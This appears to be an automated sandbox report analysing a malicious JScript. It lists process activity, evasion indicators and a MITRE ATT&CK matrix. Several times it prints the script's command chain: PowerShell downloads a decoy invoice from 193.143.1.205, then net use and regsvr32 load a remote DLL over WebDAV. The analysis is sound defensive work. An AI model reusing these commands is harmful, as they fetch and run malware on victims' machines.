Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\7134.js.csv");ITextStream.WriteLine(" entry:8978 f:eqfbjpsc");ITextStream.WriteLine(" exec:2 f:eqfbjpsc");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4487			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5390			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1532	Thread sleep count: 4487 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 1436	Thread sleep count: 5390 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4796	Thread sleep time: -14757395258967632s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 652	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 3332	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 3712	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477			Jump to behavior

Source: net.exe, 00000007.00000002.2140800366.0000016A8068B000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3377940564.000002697E451000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3378008407.000002697E462000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.3376945875.000002697CE2B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.2140800366.0000016A80628000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\12733534724868.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Exploitation for Client Execution	1 DLL Side-Loading	1 DLL Side-Loading	31 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
